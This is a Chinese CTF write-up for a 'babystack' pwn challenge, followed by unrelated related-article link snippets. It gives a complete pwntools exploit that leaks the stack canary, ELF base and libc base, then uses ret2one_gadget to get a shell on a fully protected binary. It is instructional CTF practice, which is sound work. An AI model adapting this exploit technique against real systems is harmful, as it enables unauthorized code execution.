babystack

首先检查一下保护

全保护开启,我们IDA分析一下。

main函数很简单,首先第一个read明显存在漏洞,如果不是以 \n 结尾会存在栈中地址的泄漏。

payload = 'A'*0x88+'A'   #这里多加一个A是因为canary的低字节为\x00
p.sendafter("What's your name: ",payload)
p.recvuntil('A'*0x88)
canary = u64(p.recv(8))-ord('A')
elf_base = u64(p.recv(6).ljust(8,'\x00'))-0x910
print 'canary: '+hex(canary)
print 'elf_base: '+hex(elf_base)

第一个read我们泄漏了canary和elf的基地址。接下来我们用第二read 泄漏libc地址,控制程序返回main函数

pop_rdi_ret = 0x973
main = elf_base+0x080A
payload = 'A'*0x88 + p64(canary) + 'B'*8
payload += p64(elf_base+pop_rdi_ret) +p64(elf_base+elf.got['puts'])+ p64(elf_base+elf.plt['puts'])+p64(main)
p.sendafter('to say: ',payload)
p.recvline()
puts = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = puts - libc.symbols['puts']
print 'libc_base: '+hex(libc_base)

接下来我们就可以ret2onegadget了。

#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./babystack')
elf = ELF('./babystack')
libc = ELF('./libc-2.27.so') #--------------------leak canary elf_base---------------#
payload = 'A'*0x88+'A'
p.sendafter("What's your name: ",payload)
p.recvuntil('A'*0x88)
canary = u64(p.recv(8))-ord('A')
elf_base = u64(p.recv(6).ljust(8,'\x00'))-0x910
print 'canary: '+hex(canary)
print 'elf_base: '+hex(elf_base)
#——----------------leak libc_base-----------------------------#
pop_rdi_ret = 0x973
main = elf_base+0x080A
payload = 'A'*0x88 + p64(canary) + 'B'*8
payload += p64(elf_base+pop_rdi_ret) +p64(elf_base+elf.got['puts'])+ p64(elf_base+elf.plt['puts'])+p64(main)
p.sendafter('to say: ',payload)
p.recvline()
puts = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = puts - libc.symbols['puts']
print 'libc_base: '+hex(libc_base)
#---------------ret2 one_gadget----------------------------------#
one = [0x10a38c,0x4f322,0x4f2c5]
p.sendafter("What's your name: ",'AAAA')
payload = 'A'*0x88 + p64(canary) + 'B'*8 + p64(libc_base+one[0])
p.sendafter('to say: ',payload) p.interactive()

baystack(ret2one_gadget)的更多相关文章

  1. Freebsd 编译内核

    # cd /usr/src/sys/i386/conf # cp GENERIC GENERIC.20060812# ee GENERIC 如果要加入ipf防火墙的话则加入options        ...

  2. snmp oid 和厂商对应关系

    <node oid="default" name="Unknown" type="workstation"/><node ...

  3. 鹏城杯_2018_treasure

    鹏城杯_2018_treasure 首先检查一下保护: IDA分析 我们先来看看settreasure()函数 申请了两个内存空间,并往sea中复制了shellcode 看看这个shellcode,不 ...

  4. 攻防世界pwn高手区——pwn1

    攻防世界 -- pwn1 攻防世界的一道pwn题,也有一段时间没有做pwn了,找了一道栈题热身,发现还是有些生疏了. 题目流程 拖入IDA中,题目流程如图所示,当v0为1时,存在栈溢出漏洞.在gdb中 ...

随机推荐

  1. React Portal - 弹出层的优秀解决方案

    对于需要使用弹出层的需求 ,Portal可以说是提供了一种完美的解决方案.相比于React Native中的实现更多的使用Modal或者绝对定位,Portal实在是简易友好得多. 场景 对话框,确认提 ...

  2. Java内存模型(JMM)是什么?JMM 通过控制主内存与每个线程的本地内存之间的交互,来提供内存可见性保证

    Java内存模型就是一种符合内存模型规范的,屏蔽了各种硬件和操作系统的访问差异的,保证了Java程序在各种平台下对内存的访问都能保证效果一致的机制及规范. Java内存模型是根据英文Java Memo ...

  3. ALGO基础(一)—— 排序

    ALGO基础(一)-- 排序 冒选插希快归堆,以下均为从小到大排 1 冒泡排序 描述: 比较相邻的元素.如果第一个比第二个大,就交换它们两个: 对每一对相邻元素作同样的工作,从开始第一对到结尾的最后一 ...

  4. Python切换版本工具pyenv

    目录 安装pyenv 安装与查看py版本 切换py版本 结合ide使用示例 和virtualenv的一些区别 参考文献 使用了一段时间,我发现这玩意根本不是什么神器,简直就是垃圾,安装多版本总是失败, ...

  5. 2020年12月-第02阶段-前端基础-CSS Day02

    CSS Day02 复合选择器 后代选择器 并集选择器 1. CSS复合选择器 理解 理解css复合选择器分别的应用场景 为什么要学习css复合选择器 CSS选择器分为 基础选择器 和 复合选择器 , ...

  6. 前后端分离之DRF——1

    1. 作用 1. 序列化,序列化器会把模型对象转成字典,经过 response 以后变成 json 字符串 2. 反序列化,把客户端发送过来的数据,经过 request 以后变成字典,序列化器可以把字 ...

  7. External Libraries中没有Maven的jar包的原因(已解决)

    **深坑!** ## External Libraries中没有Maven的jar包的原因(已解决) 2021年3月1日 --- 搭建一个新项目 IDEA 从 Git 上拉 拉去Maven项目然后 m ...

  8. div+伪元素实现太极图

    需求:使用div和伪元素实现阴阳太极图 图例: 代码: <html> <head> <title>太极图</title> <style type= ...

  9. golang 实现求两向量夹角

    type Vector3 struct { X float64 `json:"x"` Y float64 `json:"y"` Z float64 `json: ...

  10. IntelliJ IDEA安装lombok

    1. 搜索Plugins 点击下方的Browse repositories.. 2.点击安装,重新启动